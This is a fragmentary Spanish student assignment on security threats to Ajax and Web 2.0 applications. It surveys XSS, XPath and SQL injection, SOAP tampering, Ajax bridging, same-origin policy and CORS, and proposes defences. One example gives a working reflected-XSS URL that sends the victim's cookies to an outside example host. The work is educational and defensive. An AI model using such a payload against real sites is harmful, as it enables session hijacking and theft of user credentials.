Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Ajax Unir PDF
Ajax Unir PDF
Actividades
Descripción de la actividad
Pautas de elaboración
Esta actividad sobre seguridad en aplicaciones Ajax abarca los problemas de seguridad
que tienen este tipo de aplicaciones, que caen en la categoría denominada rich internet
applications y en las posibles soluciones a los mismos. Hay que consultar cuantas
fuentes relativas al tema se considere y sintetizar la información relevante sin limitarse
a copiar el contenido de alguna de ellas.
Criterios de valoración
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
DESARROLLO
Las tecnologías Web 2.0 permiten abrir nuevos canales de comunicación y mejorar la
usabilidad de las aplicaciones Web, haciendo que éstas sean más amigables e
interactivas a través de funcionalidades como redes sociales, wikis, blogs y servicios
interactivos.
Para algunos usuarios de la web 2.0 la seguridad es un tema irrelevante, esta opinión se
convierte en algo que para otros usuarios es una ventaja aprovechándose de los
mismos al usar los blogs para insertar un código HTML malicioso, archivos con virus o
gusanos por el solo hecho de no dar la importancia y prestar atención a los cuidados
mínimos a una de las tantas ventanas que tiene el ciberespacio de cara a nuestra
información.
Sin embargo y a pesar de todas las medidas los profesionales de TI, deben prevenir que
los empleados de las organizaciones empresariales carguen contenidos con derechos de
propiedad intelectual, secretos comerciales, o cualquier otra información sensible a
blogs, sitios en la nube o aplicaciones web 2.0. Desafortunadamente y muy a pesar de
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Si hablamos de las posibilidades con los que cuenta un atacante de vulnerar esta
información citamos los feed. Estos son un medio por el cual los usuarios pueden leer
las entradas de un sitio Web o parte de ellas, un archivo que contiene la información del
contenido del blog y que se actualiza de forma automática. En los blogs los estos
pueden emitir fugas de información, así como también riesgos frente a la explotación
de vulnerabilidades de feeds maliciosos, a esto se suma su falta de trasparencia y
desconocimiento en fuentes reales de RSS y mashups.
Por ejemplo, Ajax permite emitir de forma asincrónica llamadas JavaScript desde un
navegador. Sin embargo, la descarga de JavaScript desde sitios que no sean de
confianza puede permitir a los atacantes ejecutar llamadas Ajax malintencionadas en
los navegadores. Los ataques de scripts entre sitios pueden apropiarse de cuentas de
usuario, lanzar intentos de phishing y ejecutar programas malintencionados en los
sistemas de los usuarios.
WSDL Scanning
Este ataque se dirige a la interfaz WSDL puesta a disposición por un servicio web. El
atacante puede escanear la interfaz WSDL para revelar información sensible acerca de
patrones de invocación, implementaciones tecnológicas subyacentes y las
vulnerabilidades asociadas. Este tipo de sondeo se lleva a cabo para realizar ataques
más graves (por ejemplo, la manipulación de parámetros, inyección malicioso
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Un atacante envía un mensaje SOAP, donde los valores de campo son diferentes de lo
que es probable que esperar el fin de precipitar el comportamiento del servidor no
estándar del servidor. En un mensaje SOAP, parámetros toman la forma de valores
dentro de los elementos XML. El servidor tendrá un esquema XML que indica ciertas
restricciones a los valores de estos parámetros. Por ejemplo, el servidor puede esperar
un parámetro sea una cadena con menos de 10 caracteres, o un número inferior a 100.
En un ataque de parámetros de SOAP manipulación, ya sea un atacante viola este
esquema, o se aprovecha de la flexibilidad en el régimen (por ejemplo, la falta de un
límite de caracteres) para proporcionar parámetros que el servidor no puede esperar.
Ejemplos de parámetros inesperados incluyen datos de gran tamaño, los datos con
diferentes tipos de datos, insertar meta caracteres dentro de los datos, y el envío de los
datos contextualmente inapropiadas (por ejemplo, enviar el nombre del producto
inexistente en un campo de nombre del producto o utilizando un número de secuencia
fuera de orden). Los resultados de este ataque pueden incluir la divulgación de
información, denegación de servicio, o incluso la ejecución de código arbitrario. [2]
Atom injection.
Una nueva característica de la" Web 2.0 ", es la facilidad para construir una mayor
capacidad de respuesta en la Web, con la utilización de los flujos XML que utilizan los
RSS y estándares Atom. Estos permiten a los usuarios y los sitios web para obtener el
contenido, titulares y el texto del cuerpo sin la necesidad de visitar el sitio en cuestión,
básicamente, proporcionando a los usuarios un resumen de ese contenido sitios. Por
desgracia, muchas de las aplicaciones que reciben estos datos no tienen en cuenta las
implicaciones de seguridad de uso de contenidos de terceros, y sin saberlo, hacen que
ellos y sus sistemas conectados sean susceptibles a diversas formas de ataque.
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Atom injection se trata de un nuevo ataque WEB 2.0. RSS, son un medio común de
intercambio de información sobre portales y aplicaciones web, estos datos son
almacenados por las aplicaciones web y enviados al navegador del lado del cliente, se
puede inyectar JavaScript en el RSS para generar ataques en el navegador portales y
aplicaciones web. Aunque es un ataque ejecutado en el lado del cliente puede
trascender. [3]
XPath Injection
Las XPath Injection operan sobre los sitios web que utiliza la información suministrada
por el usuario para construir una consulta XPath para los datos XML. Mediante el
envío de la información intencionalmente con formato incorrecto en el sitio web, un
atacante puede averiguar cómo se estructura de los datos XML, o acceder a datos que
puede normalmente no tiene acceso. Él puede incluso ser capaz de elevar sus privilegios
en el sitio web si los datos XML se utiliza para la autenticación (por ejemplo, un archivo
de usuario basada en XML).
Las XPath Injection podría ser incluso más peligroso que las inyecciones SQL desde
XPath carece de control de acceso y permite la consulta de la base de datos completa
(documento XML), mientras que muchas bases de datos SQL tienen mesas meta que no
se puede acceder por las consultas regulares. Estas atacan el servicio web mediante la
sustitución de los parámetros originales del TestStep con strings maliciosos, diseñados
para exponer las posibles deficiencias en los servicios web que están utilizando la
entrada del usuario en expresiones XPath. Mediante el uso de afirmaciones, se puede
asegurar que el ataque no expuso a datos sensibles, devolver un identificador de sesión,
etc. [4]
Las RIA thick client binary manipulation utilizan funciones de interfaz de usuario como
Flash, ActiveX y controles o applets como sus interfaces primarias a las aplicaciones
Web. Uno de sus problemas es la gestión de sesiones ya que se ejecuta en el navegador
y comparten una misma sesión, ya que la totalidad del código se descargará en el lado
del cliente , un atacante puede realizar ingeniería inversa y descompilar el código. [5]
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Es una técnica que permite presentar la información con CSS y DOM. Esta técnica
permite crear aplicaciones interactivas ricas, las cuales se ejecutan en el lado del
cliente, client-side, en el navegador. El funcionamiento de AJAX es sencillo, mientras la
aplicación se ejecuta en el navegador del cliente, la comunicación se lleva a cabo de
manera asíncrona en segundo plano con el servidor. Esto permite crear el efecto de que
el sitio web va cambiando en función de las necesidades, por la actualización de la
información en el servidor, el cual podría ser debido a otras acciones del cliente. Sin
embargo esta característica exige un mayor grado de seguridad ya que la comunicación
de manera asíncrona entre el cliente y el servidor tiende a estar hecho de código poco
seguro, para que la información no se vea comprometida todo el tráfico debe ser
debidamente comprobado.
Ajax como técnica novedosa es utilizada por un sin número de programadores para
brindar una experiencia similar a trabajar en “local”, sin embargo y sumado a lo
anteriormente mencionado tenemos unas características de seguridad que no han sido
solventadas en su totalidad, tales como:
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Entre las amenazas más notables se tienen el XSS el cual mediante el DOM se puede
alterar el contenido de un sitio, modificar la dirección donde los datos o formularios de
usuarios son enviados, robo de cookies y credenciales.
DOM-Based XSS.
Vulnerabilidad de aplicaciones web con el cual un atacante puede robar una sesión,
llevara cabo ataques phishing y mucho más. Las vulnerabilidades de scripts de sitios
(XSS) se producen cuando:
1. Los datos entran en una aplicación web a través de una fuente no confiable. En
el caso de XSS basado en DOM, los datos se leen desde un parámetro de URL u
otro valor dentro del explorador, y se escriben en la página con código del
cliente. En el caso de XSS reflejado, la fuente no confiable suele ser una
solicitud web, mientras que en el caso de XSS persistente (también conocido
como almacenado) suele ser una base de datos u otro almacén de datos back-
end.
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
El código re direccionará la página a un sitio externo, que contiene a su vez otra página
con código malicioso justamente después de haberse "logueado" en la página original
desde la cual se hizo la petición
Código inyectado:
http://tiendavirtual.com/login.php?
variable="><script>document.location='http://ejemplo2.com/foro.php?'+document.c
ookie</script> [6]
Además de esta en el conjunto de amenazas por las cuales Ajax es susceptible en cuanto
a la seguridad de cara a la información del usuario en la web 2.0, se trae en mención las
citadas a continuación junto a su ejemplo explícito.
Ajax Bridging
Por medidas de seguridad, las aplicaciones AJAX solamente dejan conectarse desde el
website desde el que proceden. Es decir, -javascript- con Ajax descargado desde una
web A, no puede realizar conexiones sobre una web B (externa a la primera). Para
permitirlo se utilizan los servicios "bridge" (puente). El "puente" actúa como proxy
sobre el servidor Web para "forwardear" el tráfico entre el -javascript- del lado del
cliente y la web externa. Es como, un servicio web, para la propia página web. Un
atacante puede usar esta "capacidad" para acceder a áreas restringidas.
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
El gusano “Yammaner” utiliza un vector XSS con AJAX para tomar ventaja de una
vulnerabilidad en el evento "onload" del portal. Cuando un email infectado era
abierto, el gusano ejecutaba su código -javascript- malicioso, enviando una copia de si
mismo a todos los contactos de Yahoo del usuario infectado. El email infectado
utilizaba una dirección "spoofeada" tomada de otras víctimas, lo que hacía al usuario
poder "pensar" que se trataba de un email de alguno de sus contactos (ingeniería
social). [8]
Document.domain
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
http://www.ejemplo.com:8080/scripts/codigo2.js
https://www.ejemplo.com/scripts/codigo2.js
http://192.168.0.1/scripts/codigo2.js
http://scripts.ejemplo.com/codigo2.js
http://www.ejemplo.com/scritps/codigo1.js
Establece la variable document.domain = "ejemplo.com"
Por otra parte, el código alojado en:
http://scripts.ejemplo.com/codigo2.js
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
En este caso el script no podría enviar las peticiones AJAX a los bancos (son orígenes
diferentes a "tengoDeTodo.com") ni tendría acceso a las cookies o datos de las otras
páginas que Inocencio está viendo.
Envenenamiento XML
El envenenamiento XML es otro de los problemas de seguridad a los que nos podemos
enfrentar. El servidor debe validar todos los datos que recibe, ya que un posible XML
malformado puede causar un crash en el servidor provocando una denegación de
servicio.
La ejecución de código malicioso también debemos tenerlo en cuenta. Las llamadas que
se realizan con Ajax ejecutan en backgraund sin ninguna interacción del usuario por lo
que el usuario no es consciente de lo que se está realizando en un sitio concreto,
aprovechando la web este hecho para realizar un robo de cookies y aun peor de
manera silenciosa y poco sospechosa
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
- No establecer conexiones con sitios diferentes del nombre de dominio del que se ha
obtenido el script de JavaScript, protegiéndolo ante problemas de seguridad y esta
medida se conoce como CORS, Cross-Origin Resource Sharing.
Cuando realizamos una petición Ajax, el navegador incluye una cabecera “Origin” en la
solicitud de la petición con el servidor origen que está realizando la petición. Cuando
usamos el método CORS para evitar los problemas de Cross Domain, lo que estamos
haciendo es informar en el servidor destino de los orígenes que pueden realizar
peticiones sobre él. Esto lo consigue añadiendo una nueva cabecera en la respuesta de
la petición Http, “Access-Control-Allow-Origin”
Ejemplo:
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Una petición Ajax realizada por Facebook mientras los usuarios utilizan el chat. Las
cabeceras de petición y respuesta coinciden y la petición consigue realizarse.
[12]
Los ficheros Javascript que se han obtenido desde un sitio en concreto no deben poder
acceder a propiedades de otro sitio.
- Se debe tener en cuenta los ataques clásicos como SQLi y XSS por lo que buscarlos
especialmente y XSRF, los cuales podrán ser solventados mediante un filtrado
correcto o utilización de tokens correctamente en el caso del XSRF.
Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la
extracción de información y posible ejecución arbitraria de código en el lado del
servidor, sin embargo, ahora en el lado del cliente también es posible almacenar datos
en bases de datos relacionales.
Esta es la razón por la cual SQL Injection es una amenaza para Ajax. Estas amenazas
cobran forma cuando un atacante inserta códigos maliciosos en una zona de la página
web poco desarrollada como por ejemplo un formulario, si este es vulnerable todo el
contenido de la base de datos puede estar expuesto. El SQL Injection es tan perjudicial
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
en Ajax que al ser mitigado con técnicas de saneamiento basadas en JavaScript no son
suficientes frente al ataque de esta explotación.
Para proteger una base de datos cuando se utiliza Ajax se debe validar la entrada del
usuario con la validación que se realiza del lado de servidor, de igual manera la
cuidadosa declaración de parámetros evitarán este tipo de amenazas y que los valores
no ingresan directamente en la base de datos, en su lugar se utiliza una variable de
enlace así como también una llamada API para el marcador de posición.
Ejemplo
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
Podríamos ir alargando la cadena letra a letra hasta encontrar el nombre del usuario. [13]
Otras medidas que podríamos citar tendríamos las siguientes:
Conclusiones
- La seguridad de datos confidenciales, como la contabilidad, facturación, es uno de los
aspectos que más se debaten, al estar almacenados en servidores ajenos. Si nos
centramos en las pymes es probable que los datos estén en mejor recaudo de
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
- AJAX, RIA y demás servicios web son tecnologías importantes de la web 2.0 como
tecnologías prometedoras, aportan eficacia, eficiencia a las aplicaciones web. Sin
embargo detrás de ellas vienen nuevos problemas de seguridad, para contrarrestarlas,
los encargados de la seguridad de la información deben recurrir a diferentes técnicas de
codificación e implementaciones seguras en la protección de datos, a pesar de estas
medidas la concientización de las nuevas herramientas IT, su utilización, ventajas y
riesgo para las organizaciones por parte de sus funcionarios y trabajadores se convierte
en la mejor arma de defensa contra estos.
BIBLIOGRAFIA
[1] https://capec.mitre.org/data/definitions/95.html
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
[2]https://capec.mitre.org/data/definitions/280.html
[3] http://www.cgisecurity.com/rss.html
[4] https://www.soapui.org/security-testing/security-
scans/xpath-injection.html
[5]
http://www.infosecwriters.com/text_resources/pdf/SShah_Web2
0.pdf
[6] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf
[7] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf
[8] https://issuu.com/dragonjar/docs/cross-site-scripting/137
[9] http://librosweb.es/libro/ajax/capitulo_7/seguridad.html
[10] http://www.jquery-tutorial.net/ajax/same-origin-policy/
[11]http://notasjs.blogspot.com.co/2013/09/politica-del-mismo-origen-same-
origin.html
[12] http://www.cantabriatic.com/wp-content/uploads/2015/04/peticiones.png
[13] http://www.mclibre.org/consultar/php/lecciones/php_db_inyeccion_sql.html
TEMA 1 – Actividades
Asignatura Datos del alumno Fecha
Seguridad en Apellidos: OMAR JOSE
Aplicaciones Online 3 de abril 2016
y Bases de Datos Nombre: ORTEGA MORENO
TEMA 1 – Actividades